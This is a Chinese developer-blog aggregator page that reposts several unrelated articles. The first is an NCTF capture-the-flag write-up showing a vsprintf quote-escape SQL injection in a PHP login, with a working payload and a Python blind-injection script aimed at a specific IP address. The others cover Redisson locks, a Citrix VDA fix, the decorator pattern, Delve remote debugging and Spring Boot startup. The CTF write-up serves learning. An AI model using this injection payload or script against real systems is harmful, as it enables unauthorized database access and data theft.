开发者博客 – IT技术 尽在开发者博客

开发者博客 – 科技是第一生产力


  • 首页

  • 归档

  • 搜索

php vsprintf格式化字符串逃逸sql语句引号(nj

发表于 2021-11-29

image.png

登陆界面。访问129.211.173.64:3080/www.zip 可以得到源码

config.php(这是用来连数据库的,没啥用,就不贴了)

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
php复制代码<?php
include_once('config.php');
?>
<!DOCTYPE html>
<html>
<head>
<title>There is no absolutely safe system</title>
</head>
<body>
<?php
if (isset($_POST['password'])){
$query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);

if (isset($_POST['name'])){
$query = db::prepare($query . " and name=%s", $_POST['name']);
}
else{
$query = $query . " and name='benjaminEngel'";
}
$query = $query . " limit 1";

$result = db::commit($query);

if ($result->num_rows > 0){
die('NCTF{ez');
}
else{
die('Wrong name or password.');
}
}
else{?>
<form action="login.php" method="post">
<input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
<input type="password" name="password" id="password" placeholder="Enter password">
<button type="submit">Submit</button>
</form>
<?php
}
?>
</body>
</html>

DB.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
php复制代码<?php

class DB{
private static $db = null;

public function __construct($db_host, $db_user, $db_pass, $db_database){
static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
}


static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
{
return new DB($db_host, $db_user, $db_pass, $db_database);
}

public static function getInstance(){
return static::$db;
}

public static function connect_error(){
return static::$db->connect_errno;
}

public static function prepare($query, $args){
if (is_null($query)){
return;
}
if (strpos($query, '%') === false){
die('%s not included in query!');
return;
}

// get args
$args = func_get_args();
array_shift( $args );

$args_is_array = false;
if (is_array($args[0]) && count($args) == 1 ) {
$args = $args[0];
$args_is_array = true;
}

$count_format = substr_count($query, '%s');

if($count_format !== count($args)){
die('Wrong number of arguments!');
return;
}
// escape
foreach ($args as &$value){
$value = static::$db->real_escape_string($value);
}

// prepare
$query = str_replace("%s", "'%s'", $query);
$query = vsprintf($query, $args);
return $query;

}
public static function commit($query){
$res = static::$db->query($query);
if($res !== false){
return $res;
}
else{
die('Error in query.');
}
}
}
?>

审计代码的逻辑,进行了两次格式化字符串,密码还用md5()包裹,而且每次都用单引号把%s闭合了,并且在替换%s前还用了real_escape_string($value)进行转义。(盯着这几个安全函数几个小时差点哭了555)

好吧好吧,还是有注入点的。这里用到了vsprint语句。在w3school可以查到它的例子

1
2
3
4
5
6
php复制代码<?php
$number = 9;
$str = "Beijing";
$txt = vsprintf("There are %u million bicycles in %s.",array($number,$str));
echo $txt;
?>

也就是说,可以post数组来逃逸引号。先来看看正常的sql查询语句

SELECT * FROMuserswhere password=md5(%s) and name=%s limit 1

其中两个%s就是post的账号和密码。

如果我们密码输入%s,name输入一个数组,第一个元素用来闭合md5并且注入再注释,第二个元素随便输,就能绕过了!

可以构造payload如下

name[0]=) or [bool] #&name[1]=a&password=%s
其中[bool]用来塞布尔值。

sql语句就会变为

SELECT * FROMuserswhere password=md5() or [bool] #) and name=a limit 1

试一下postname[0]=) or 1=1 #&name[1]=a&password=%s

image.png

还有一半flag在数据库里边。用二分脚本跑盲注即可。这里有个坑,最后查details的时候表名要写成
2021.NcTF
其他任何形式都不行。脚本如下(当然不是我这个菜鸡写的啦)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
python复制代码import requests
#NCTF{3v3ryth1ng_not_fantast1c_:)}
#uname:admin
Ts = "NCTF{3v3ryth1ng_"
Fs = "Wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL_injection(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
payload_database = ")or(ord(substr((select(database())),%d,1))>%d)#" % (i, mid)
payload_all_database = ")or((ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1)))>%d)#" % (i, mid)
payload_table = ")or((ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1)))>%d)#" % (i, mid)
#4E635446 NcTF
payload_cloumn = ")or((ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x4E635446)),%d,1)))>%d)#" % (i, mid)
payload_info = ")or((ord(substr((select `fl@g` from `2021`.NcTF limit 0,1),%d,1)))>%d)#" % (i, mid)
#2021.NcTF fl@g
payload = payload_info
data = {"name[0]" : payload, "name[1]" : "SilentE", "password" : "12%s34"}
#urls = url + payload
resp = requests.post(url = url, data = data)
#print(resp.text)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
print(res)

if __name__ == "__main__" :
SQL_injection(url)

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

分布式锁 Redisson源码解析-RLock(一)

发表于 2021-11-29

其实代码整体上可以发现实现可重入锁的方法还是比较简单的,学习成本相对比较低,使用起来也是比较简单的,对于分析可重入锁的部分从下面几个部分来大致的阅读

初始化锁对象

RLock lock = redisson.getLock("anyLock");

RLock的整体类图

可以注意到,其实像RedissonFairLock等等都是继承的RedissonLock

初始化了一个RedissonLock的对象,里面有个核心就是命令执行器,需要额外关注的就是internalLockLeaseTime 和 entryName

CommandAsyncExecutor

看意思这个是一个命令异步执行器

  • slot
    • slot就是cluster中的槽
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sql复制代码public int calcSlot(String key) {
if (key == null) {
return 0;
}

int start = key.indexOf('{');
if (start != -1) {
int end = key.indexOf('}');
if (end != -1 && start + 1 < end) {
key = key.substring(start + 1, end);
}
}

int result = CRC16.crc16(key.getBytes()) % MAX_SLOT;
log.debug("slot {} for {}", result, key);
return result;
}
  • NodeSource
    • 就是一个对象,基本可以代表将要连接的redis节点

加锁——ReentrantLock

lock.lock();

方法重载

第一次加锁及watchdog续约

加锁的整体步骤

  1. 初始化数据的获取:threadId、connection manager uuid、leaseTime、lockName
* threadId
* uuid是从初始化`getLock`的时候就获取的
* leaseTime,可以提供参数,默认的是30s
  1. 执行lua脚本
* 判断redis中是否有key存在
* 设置hash数据结构:lockName { uuid:threadId --> number }
* 设置lockName的过期时间是leaseTime
* 加锁成功返回nil,否则抛出异常或者是返回key的ttl
  1. 如果加锁成功
* 维护了一个map `{ id:lockName : { {threadId:number},timeout } }`
* 会开启一个调度任务, `leaseTime/3` 时间后执行
  1. 执行lua脚本
* 判断Redis中存在lockName的hash结构的key--> uuid:threadId
* 存在就设置过期时间为leaseTime返回1,不存在直接返回0
* 返回1,则会递归再执行续约的方法,下一个时间点后再执行续约
* 如果不存在key,则本地的map里面的key也要去掉了

重点设计

连接发送

在初始化lock的时候,会根据lockName计算获取到slot,然后初始化一个nodesource,从而知道发送指令到哪一台机器上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sql复制代码public int calcSlot(String key) {
if (key == null) {
return 0;
}

int start = key.indexOf('{');
if (start != -1) {
int end = key.indexOf('}');
if (end != -1 && start + 1 < end) {
key = key.substring(start + 1, end);
}
}

int result = CRC16.crc16(key.getBytes()) % MAX_SLOT; // 16384
log.debug("slot {} for {}", result, key);
return result;
}
数据结构

redis中的数据结构:

1
2
3
4
5
json复制代码{
"lockName": {
"uuid:threadId": counter
}
}

本地的数据结构:

1
2
3
4
5
6
7
8
9
bash复制代码{
"uuid:lockName": {
"threadIds": {
"threadId": 1,
"counter": 1
},
"timeout": timeout
}
}

可以发现redis和本地存储的数据结构其实都是一个map,而且会在进行加锁的过程中进行一个数据的同步

  • 加锁成功的时候,会往本地map中插入一个数据
  • 如果续约的时候发现续约失败,就会将本地map中对应的数据给删除掉
watchdog

watchdog的出现,是为了避免如果客户端A持续持有锁而超过了锁的有效时间,导致redis中锁已经过期了,然后会有客户端B来加锁,导致的情况是两个客户端同时持有锁

  • watchdog的核心原理是如果锁被持有那么锁的过期时间就重置
  • 时间周期是leaseTime/3执行一次,并且如果续约成功就会递归再次执行续约
  • 维护了一个本地的Map,代表的是需要去进行续约的lock
阻塞

在加锁的时候执行的lua脚本中,如果加锁失败,也就是key存在,但是里面的hash key不存在就属于其他线程来进行加锁,这个时候就需要进行互斥了

  • lua脚本中会返回redis key 的ttl
  • 加锁中如果感知到返回的是ttl,则会走一个无线循环来获取锁
  • 里面引入了一个信号量

思考

  1. 如果持续持有一把锁,这个锁的有效时间如何变化
    • 锁的有效时间,会通过续约的定时任务来进行变化的,每leaseTime/3时间内就会续约一次
  2. 释放锁之后,这个定时任务是如何的取消的
    • 内部维护了一个需要续约的map,如果释放锁之后的话,只需要将本地map中的key移除掉即可
  3. 如果持有锁的客户端宕机了,会发生什么样的情况
    • 因为续约是发生在客户端的,如果客户端宕机了,只会阻塞30s之后,其他线程就可以来获取到锁
  4. 如果某个机器上的某个线程,已经对key加锁了,那么这台机器上的其他线程如果尝试对key加锁,会怎么样?如何阻塞的?
    • 如果是其他的线程获取锁会返回一个ttl,然后进入一个无限循环,来获取锁,同时也引入了信号量,提高效率和避免并发
  5. 如果某个机器上的某个线程,已经对key加锁了,那么其他机器上的其他线程如果尝试对key加锁,会怎么样?如何阻塞的?
    • 如果是其他的机器来进行加锁,会发现已经存在这个key了,但是对应的key里面的hash key UUID:threadId 却是不存在的,就会导致返回的是ttl,就与前面一致了
  6. 如果设置了两个加锁的参数,是如何在一定时间之后,自动释放锁,如何控制获取锁超时
    • 设置的参数本质上也就是LeaseTime,就不再说明了

这一篇,其实已经大体将redisson reentrantLock说明白了,下一篇主要是可重入、释放锁、锁超时和自动释放的源码

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Citrix ubuntu桌面登录后灰屏的解决方法 故障现象

发表于 2021-11-29

故障现象

出现问题的VDA版本7.15.2000

下载ica文件之后用客户端打开后灰屏然后退出

使用systemctl status ctxhdx查看HDX服务显示服务正常,但会有报错…due to timeout

查看/var/log/xdl/下的HDX日志有如下报错

43ab9b4cacf64f8e94511111e143466f.jpg

解决方法

此问题可通过重装Citirx VDA解决,建议安装19.12.2000及以上版本,此问题出现的版本为7.15.2000

1.安装dotnet2.1,下载地址:dotnet2.1

1
2
3
bash复制代码sudo mkdir /opt/dotnet
sudo cp dotnet-runtime-2.1.29-linux-x64.tar.gz /opt/dotnet
sudo tar -zxvf dotnet-runtime-2.1.29-linux-x64.tar.gz

2.安装VDA,下载地址需登录Citrix官网下载

1
2
3
4
5
6
7
8
bash复制代码sudo dpkg -i xendesktopvda_19.12.2000.3-1.ubuntu16.04_amd64.deb
sudo apt install -f
sudo dpkg -i xendesktopvda_19.12.2000.3-1.ubuntu16.04_amd64.deb
#可以清理后再安装
sudo /opt/Citrix/VDA/sbin/ctxcleanup.sh
sudo /opt/Citrix/VDA/sbin/ctxinstall.sh
#也可以重新设置配置文件
sudo /opt/Citrix/VDA/sbin/ctxsetup.sh

3.脚本执行过程按环境实际信息填写即可,安装完毕后重启桌面,重启之后测试是否正常

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

设计模式之装饰器模式

发表于 2021-11-29

「这是我参与11月更文挑战的第29天,活动详情查看:2021最后一次更文挑战」

本篇文章是设计模式专题的第七篇文章,我会将遇到的设计模式都一一总结在该专题下,我会把自己对每一种设计模式的感悟写下来,以及在实际工作中我们该如何去灵活应用这些设计模式,欢迎大家关注。本篇文章我们就来讲一讲,以更加优雅的方式扩展类的装饰器模式。

装饰器模式的简单介绍

装饰器模式就是在不改变类原有结构的情况下,动态的对类进行扩展的一种设计模式。

这里我们就可以把原有类看做是毛坯房,装饰过的类是商品房。

装饰器模式的类图:

image.png

装饰器模式的各个角色:

  • 抽象构件(Component):这里我们可以将其看做是毛坯房。
  • 具体构件(ConcreteComponent):这里我们可以将其看做是具体的一个毛坯房。
  • 抽象装饰者(Decorator):这里我们可以将其看做是商品房。
  • 具体的装饰者(ConcreteDecorator):这里我们可以将其看做是采用了某种具体设计的商品房。

装饰器模式的具体实现思路

  • 创建抽象构件。
  • 创建抽象构件的具体实现。
  • 创建抽象的装饰者。
  • 创建具体的装饰者。

装饰器模式的具体实现方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
scala复制代码// 抽象构件
public abstract class Component{
   
   public abstract void operation();
}
// 具体构件
public class ConcreteComponent extends Component{
   
   @Override
   public void operation(){
       // do something ...
  }
}
// 抽象的装饰者
public abstract class Decorator extends Component{
   
   protected Component component;
   
   public Decorator(Component component){
       this.component = component;
  }
   @Override
   public void operation(){
       this.component.operation();
  }
}
// 具体的装饰者
public class ConcreteDecorator extends Decorator{
   
   // 扩展的属性
   private Object addField;
   
   public ConcreteDecorator(Component component){
       super(component);
  }
​
   // 扩展的方法
   private void addMethod(){
       // do somethind ...
  }
​
   // 定义自己的修饰逻辑
   private void decorateMethod(){
       // do somethind ...
  }
   
   // 重写父类的方法
   public void operation(){
       this.decorateMethod();
       super.operation();
  }
}

装饰器模式的优缺点

优点

  • 通过装饰器对类进行扩展,比通过继承对类进行扩展更加的灵活;
  • 装饰类和被装饰类相互独立,耦合度较低;

缺点

  • 没有继承结构清晰;
  • 包裹层数较多时,难以理解和排查问题;

装饰器模式的适用场景

  1. 需要动态的对对象的功能进行扩展;
  2. 不能或者不便以子类的方式扩展功能,可以代替继承;
  3. 可以用来限制对象的执行条件,也可以进行参数控制和检查等;

装饰器模式总结

学完装饰器模式,想必最让大家困惑的就是装饰器模式与代理模式的区别,他们都是让我可以对类的功能进行增强,扩展。那么我们如何很好的去区分代理模式与装饰器模式呢?代理模式是创建型模式,本质上是在创建类的时候就创建的是代理类,在类创建时就对方法进行了增强;装饰器模式是结构型模式,我们创建对象创建的还是原始对象,就比如我们买房买到的是毛坯房,当我们需要入住,就需要对其进行装饰,将毛坯房传入装饰者模式就能获取到装修过的房子。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

分布式锁——Redisson概念篇 一、redisson的定

发表于 2021-11-29

一、redisson的定位是什么?

对于redis实现分布式锁的方式而言,最大的优点就是基于redisson的API来实现。所以,这篇我们从什么是redisson开始。

官方文档

官网

地址:redisson.org/

功能说明:Redis Java Client with features of In-Memory Data Grid(具有内存数据网格功能的Redis Java客户端)

功能

  1. Redis configurations
  • 提供各个redis场景的配置
  1. Managed Redis services support
  • 支持管理redis服务
  1. Engine
  • 提供redis各个开发形式的接口引擎
  1. Distributed Java objects
  • 提供分布式的Java对象
  1. Distributed Java locks and synchronizers
  • Java分布式锁和同步器
  1. Distributed Java services
  • 分布式Java服务
  1. Distributed Java collections
  • 分布式Java集合
  1. Integration with Java frameworks
  • 与Java框架集成
  1. Supported codecs
  • 支持多种编码器

当然,正如redisson的flag所表述的,目的就是满足日益渐增的将redis作为存储来使用的需求

使用场景

  1. Scaling Java applications
  • 可扩展应用程序
  1. Caching
  • 缓存
  1. Data source caching
  • 数据源缓存
  1. Distributed Java tasks scheduling and execution
  • 分布式Java任务调度和执行
  1. Distributed data processing
  • 分布式数据处理
  1. Easy Redis Java client
  • Redis Java Client
  1. Web session clustering
  • web session管理器
  1. Messaging
  • 发布/订阅消息

Github

地址:github.com/redisson/re…

当然了,本文的重心是redisson分布式锁,具体的redisson就不再概述了

二、redisson实现redis可重入分布式锁

实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
arduino复制代码public class ReentrantLock {

public static void main(String[] args) {
Config config = new Config();
config.useClusterServers()
.addNodeAddress("redis://106.12.46.26:7001")
.addNodeAddress("redis://106.12.46.26:7002")
.addNodeAddress("redis://106.12.46.26:7003")
.addNodeAddress("redis://106.12.6.73:7001")
.addNodeAddress("redis://106.12.6.73:7002")
.addNodeAddress("redis://106.12.6.73:7003");
RedissonClient redissonClient = Redisson.create(config);

RLock lock = redisson.getLock("anyLock");
lock.lock();
Thread.sleep(30 * 1000);
lock.unlock();

}
}

主要涉及到几个文档中的几个点:

  • 如何去配置一个cluster mode的config并获取redisson client github.com/redisson/re…
  • 如何去构建一个RLock github.com/redisson/re…

简单说明

简单对上面涉及到的两个文档的地方说明一下

Config

  1. 集群模式可以支持几乎所有的服务,包括 AWS ElastiCache Cluster 和Azure Redis Cache
  2. 可配置的参数
    • checkSlotsCoverage
    • nodeAddresses
    • scanInterval 扫描间隔,应该是感觉起来是用在watchdog的机制里的,后面关注一下
    • slots 分布式对象的分片数量
    • readMode 默认值slave,也就是默认读写分离的
    • subscriptionMode
    • loadBalancer 负载均衡的参数
    • ……还有很多

构建RLock

  1. RLock构建的基础是Java对象中的Lock锁
  2. redisson实现的锁会出现一个问题,就是获取到锁的实例如果崩溃了,那么这个锁就可能永远挂在获取状态。与此同时,提出了一个解决的方法 watchdog,主要核心的作用是如果redisson客户端是存活的状态,就会去不停的对锁进行续约,默认锁定看门狗超时为 30 秒,可以通过 Config.lockWatchdogTimeout 设置更改。
  1. Redisson还允许在获取锁时指定leaseTime参数,在指定的时间间隔后,锁定的锁将自动释放
  2. RLock 对象的行为符合 Java Lock 规范。这意味着只有锁的owner线程可以解锁它,否则会抛出 IllegalMonitorStateException。否则考虑使用 RSemaphore 对象。

后面可以比较重点关注这个 watchdog 的机制,包括leaseTime等等

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Go Lang远程调试 with Goland GO语言远程

发表于 2021-11-29

GO语言远程调试

如果想直接使用goland进行调试请直接跳到第2节。

远程调试还是很常用的,就像java中jdwp那样,remote debug,有些bug不方便复线,直接在测试服上面debug很容易确定问题。

1.Delve工具的使用

Delve是一个为go语言提供的调试器。目的提供给go语言一个全功能的简化的调试工具,Delve工具github地址

安装Delve

  1. 从github资源库下载并安装
1
2
3
shell复制代码$ git clone https://github.com/go-delve/delve
$ cd delve
$ go install github.com/go-delve/delve/cmd/dlv
  1. go版本>1.16简化如下(升级golang version可以参考我的另一篇博文)
1
go复制代码$ go install github.com/go-delve/delve/cmd/dlv@latest

如果都不行,那你要考虑一下你上网是不是科学。go这个东西劝退好多原因都是在这里。

  1. 尝试一下dlv命令,他一般会安装在$GOPATH目录下,如果command not found,你要把这个目录/bin放到你的环境变量里面。

命令行使用Delve 进行Debug

比如我的项目目录结构是这样的:
项目路径中有一个main包,main包下面是main函数,

那么使用dlv的debug命令即可启动mian函数开始debug执行。注意其中–后面的参数是我的main需要的参数,不是dlv的参数。

1
bash复制代码dlv debug ./main/main.go -- -env=debug -service=agent,debug,game,login,admin,msgq

然后, 其中 (dlv)类似于命令提示符,break main.mian是对main包的main函数打断点,可以打多个断点,具体的命令参考 dlv客户端的命令

1
2
css复制代码(dlv) break main.main
Breakpoint 1 set at 0x20e06f3 for main.main() ./main/main.go:68

然后使用continue命令,让程序继续执行,直到遇到断点会停下。如图吧。

image.png
然后使用 next命令和step命令等执行单步调试,使用args和display命令来显示调试数值。如图:

image.png

用命令行来调试实在是太反人类了,还是使用ide吧。 接下来我们使用GOLang来远程调试吧。

2 使用GoLand配合Delve 进行远程调试

前面我们已经了解了命令行的方式调试,实在是太反人类了。现在我们用Delve支持的客户端来调试,这里我们使用GOLang来作。

还有更多的文本编辑器或插件支持了del的远程调试,见列表

使用Golang远程调试

1.安装Delve

这里是在远程机器上安装,方式和上面1.1中讲的内容一致。注意是remote上安装,也就是你想远程调试的那个机器。

2.启动远程代码

注意,这里,使用 dlv的exec命令来启动你的远程代码,其中下面的exec后面的./ascension是我的程序,– 后面的是我自己的程序需要的参数。前面是dlv的参数,监听在2345端口,不需要命令提示头(dlv)等等。

1
bash复制代码dlv --listen=:2345 --headless=true --api-version=2 --accept-multiclient exec ./ascension -- -env=test -service=login,msgq,game,fusion,agent,debug

远程构建的应用进程,需要禁止掉编译优化,如下,需要build的时候填加如下参数:

1
bash复制代码go build -gcflags \"all=-N -l\" -o ./build/ascension ./main/main.go

启动界面如图,程序会阻塞等待goland的连接:
image.png

3.GoLand配置一下就好了

首先打开debug config界面,点+号,点Go Remote按钮,如图:

image.png

然后填上刚才启动app目标服的ip和端口

我这里是5432端口,首先要确定服务器端口可用,可以先telnet nc之类的确定通了再配置:

image.png

然后启动选择remote你刚添加这个就可以愉快的debud remote的代码啦!

4. 遇到的问题 去掉dlv阻塞

  1. 我不想要remote程序阻塞等我debug,而是直接执行,那么可以在启动远程程序的时候添加 –continue参数。
  2. 我不想每次都重启远程服务器,那么就直接写到启动脚本中用dlv启动,测试环境。
  3. debug中没有ctrl+c 和退出的q命令,需要直接kill掉进程
    代码如下吧,能理解第二行就行。
1
2
3
4
5
6
bash复制代码function start() {
dlv --listen=:5432 --headless=true --api-version=2 --continue --accept-multiclient exec ./ascension -- -env=test -service=login,msgq,game,fusion,agent,debug >./logs/stdout 2>./logs/stderr &
pid=$!
echo "$pid" > ./boot.pid
echo "go boot ${jarfile} Process Id:$pid begin running!"
}

3.后续问题

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

spring boot 启动流程分析

发表于 2021-11-29

spring boot启动概述

spring boot 框架凭借极简配置,一键运行和强大的第三方框架集成等特点,受到广大开发者的青睐,基本成为java开发中必不可少的基础的框架。spirng boot带给我们这么多便利的背后,它都做了些什么,让我们就跟随spirng boot的整个启动流程一探究竟。

spring_running.png

上图可见spring boot的整个启动流程及各组件的相互调用关系。

  1. java程序由启动主类调用main()方法开始。
  2. 调用 SpringApplication的构造方法,实例一个Spirng应用对象。在构造方法里主要完成启动环境初始化工作,如,推断主类,spring应用类型,加载配置文件,读取spring.factories文件等。
  3. 调用run方法,所有的启动工作在该方法内完成,主要完成加载配置资源,准备上下文,创建上下文,刷新上下文,过程事件发布等。

整个启动流程细节我们跟着源码分析。

1.启动入口 (SrpingApplication)

大家熟悉的springboot的启动类,@SpringBootApplication + psvm(main方法)+ new SpringApplication().run(XXXX.class, args)

1
2
3
4
5
6
7
8
java复制代码@SpringBootApplication
public class SummaryApplication {
public static void main(String[] args) {
SpringApplication application = new SpringApplication(); // 2
application.run(SummaryApplication.class, args); //3
// SpringApplication.run(SummaryApplication.class, args); 也可简化调用静态方法
}
}

1.1 @SpringBootApplication 注解

通过源码发现该注解只是@Configuration,@EnableAutoConfiguration,@ComponentScan 三个注解的组合,这是在springboot 1.5以后为这三个注解做的一个简写。接下来简单说下这三个注解的功能:

1
2
3
4
5
6
7
8
9
10
11
12
java复制代码@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration //1.1.1 注册为配置类
@EnableAutoConfiguration //1.1.2 配置可自动装配
@ComponentScan(excludeFilters = { //1.1.3 声明可扫描Bean
@Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
@Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication {
...
}

1.1.1 @SpringBootConfiguration

该注解就是spirng ioc容器中java config 配置方式的@Configuration ,注册当前类为spring ioc容器的配置类。

搭配@bean注解创建一个简单spring ioc配置类

1
2
3
4
5
6
7
8
9
10
11
12
13
java复制代码 @Configuration    
public class Conf {
@Bean
public Car car() {
Car car = new Car();
car.setWheel(wheel());
return car;
}
@Bean
public Wheel wheel() {
return new Wheel();
}
}

1.1.2 @EnableAutoConfiguration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
java复制代码@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@AutoConfigurationPackage
@Import(AutoConfigurationImportSelector.class) //最为重要
public @interface EnableAutoConfiguration {

String ENABLED_OVERRIDE_PROPERTY = "spring.boot.enableautoconfiguration";

/**
* Exclude specific auto-configuration classes such that they will never be applied.
* @return the classes to exclude
*/
Class<?>[] exclude() default {};

/**
* Exclude specific auto-configuration class names such that they will never be
* applied.
* @return the class names to exclude
* @since 1.3.0
*/
String[] excludeName() default {};

}

@EnableAutoConfiguration借助@Import的帮助,将所有符合自动配置条件的bean定义加载到IoC容器,会根据类路径中的jar依赖为项目进行自动配置,如:添加了spring-boot-starter-web依赖,会自动添加Tomcat和Spring MVC的依赖,Spring Boot会对Tomcat和Spring MVC进行自动配置。

最关键的要属@Import(EnableAutoConfigurationImportSelector.class) ,借助EnableAutoConfigurationImportSelector,@EnableAutoConfiguration可以帮助SpringBoot应用将所有符合条件的@Configuration配置都加载到当前SpringBoot创建并使用的IoC容器。就像一只“八爪鱼”一样,借助于Spring框架原有的一个工具类:SpringFactoriesLoader的支持,@EnableAutoConfiguration可以智能的自动配置功效才得以大功告成!

1.1.3 @ComponentScan

@ComponentScan这个注解在Spring中很重要,它对应XML配置中的元素,@ComponentScan的功能其实就是自动扫描并加载符合条件的组件(比如@Component和@Repository等)或者bean定义,最终将这些bean定义加载到IoC容器中。

我们可以通过basePackages等属性来细粒度的定制@ComponentScan自动扫描的范围,如果不指定,则默认Spring框架实现会从声明@ComponentScan所在类的package进行扫描。

注:所以SpringBoot的启动类最好是放在root package下,因为默认不指定basePackages。

2.构造器(Constructor)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java复制代码/**
* Create a new {@link SpringApplication} instance. The application context will load
* beans from the specified primary sources (see {@link SpringApplication class-level}
* documentation for details. The instance can be customized before calling
* {@link #run(String...)}.
* @param resourceLoader the resource loader to use
* @param primarySources the primary bean sources
* @see #run(Class, String[])
* @see #setSources(Set)
*/
@SuppressWarnings({ "unchecked", "rawtypes" })
public SpringApplication(ResourceLoader resourceLoader, Class<?>... primarySources) {
this.resourceLoader = resourceLoader;
Assert.notNull(primarySources, "PrimarySources must not be null");
this.primarySources = new LinkedHashSet<>(Arrays.asList(primarySources));
//2.1 判断当前程序类型
this.webApplicationType = WebApplicationType.deduceFromClasspath();
//2.2 使用SpringFactoriesLoader 实例化所有可用的初始器
setInitializers((Collection) getSpringFactoriesInstances(ApplicationContextInitializer.class));
//2.3 使用SpringFactoriesLoader 实例化所有可用的监听器
setListeners((Collection) getSpringFactoriesInstances(ApplicationListener.class));
//2.4 配置应用主方法所在类
this.mainApplicationClass = deduceMainApplicationClass();
}

2.1 判断当前程序类型

根据classpath里面是否存在某个特征类

(org.springframework.web.context.ConfigurableWebApplicationContext)来决定是否应该创建一个为Web应用使用的ApplicationContext类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
css复制代码/**
* The application should not run as a web application and should not start an
* embedded web server.
*/
NONE,

/**
* The application should run as a servlet-based web application and should start an
* embedded servlet web server.
*/
SERVLET,

/**
* The application should run as a reactive web application and should start an
* embedded reactive web server.
*/
REACTIVE;

3.启动方法(RUN)

初始化完成之后就进到了run方法,run方法完成了所有Spring的整个启动过程:

  • 准备Environment
  • 发布事件
  • 创建上下文、bean
  • 刷新上下文
  • 结束,

其中穿插了很多监听器的动作,并且很多逻辑都是靠各种监听器的实现类执行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
java复制代码/**
* Run the Spring application, creating and refreshing a new
* {@link ApplicationContext}.
* @param args the application arguments (usually passed from a Java main method)
* @return a running {@link ApplicationContext}
*/
public ConfigurableApplicationContext run(String... args) {
//开启时钟计时
StopWatch stopWatch = new StopWatch();
stopWatch.start();
//spirng 上下文
ConfigurableApplicationContext context = null;
//启动异常报告容器
Collection<SpringBootExceptionReporter> exceptionReporters = new ArrayList<>();
//开启设置,让系统模拟不存在io设备
configureHeadlessProperty();
// 3.1 初始化SpringApplicationRunListener 监听器,并进行封装
SpringApplicationRunListeners listeners = getRunListeners(args);
listeners.starting();
try {
ApplicationArguments applicationArguments = new DefaultApplicationArguments(args);
//3.2 Environment 的准备
ConfigurableEnvironment environment = prepareEnvironment(listeners, applicationArguments);
configureIgnoreBeanInfo(environment);
Banner printedBanner = printBanner(environment); // 打印标语 彩蛋
//3.3 创建上下文实例
context = createApplicationContext();
//异常播报器,默认有org.springframework.boot.diagnostics.FailureAnalyzers
exceptionReporters = getSpringFactoriesInstances(SpringBootExceptionReporter.class,
new Class[] { ConfigurableApplicationContext.class }, context);
//3.4 容器初始化
prepareContext(context, environment, listeners, applicationArguments, printedBanner);
//3.5 刷新上下文容器
refreshContext(context);
//给实现类留的钩子,这里是一个空方法。
afterRefresh(context, applicationArguments);
stopWatch.stop();
if (this.logStartupInfo) {
new StartupInfoLogger(this.mainApplicationClass).logStarted(getApplicationLog(), stopWatch);
}
listeners.started(context);
callRunners(context, applicationArguments);
}
catch (Throwable ex) {
handleRunFailure(context, ex, exceptionReporters, listeners);
throw new IllegalStateException(ex);
}

try {
listeners.running(context);
}
catch (Throwable ex) {
handleRunFailure(context, ex, exceptionReporters, null);
throw new IllegalStateException(ex);
}
return context;
}

3.1 SpringApplicationRunListener 的使用

首先通过getSpringFactoriesInstances 获取到所有实现SpringApplicationRunListener 接口的实例,默认情况下该接口的实现类只有 EventPublishingRunListener 他的主要作用是作为springboot 的一个广播器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
java复制代码public interface SpringApplicationRunListener {
/**EventPublishingRunListener 前期采用 SimpleApplicationEventMulticaster.multicastEvent(ApplicationEvent) 进行广播
**/
default void starting() {}
default void environmentPrepared(ConfigurableEnvironment environment) {}
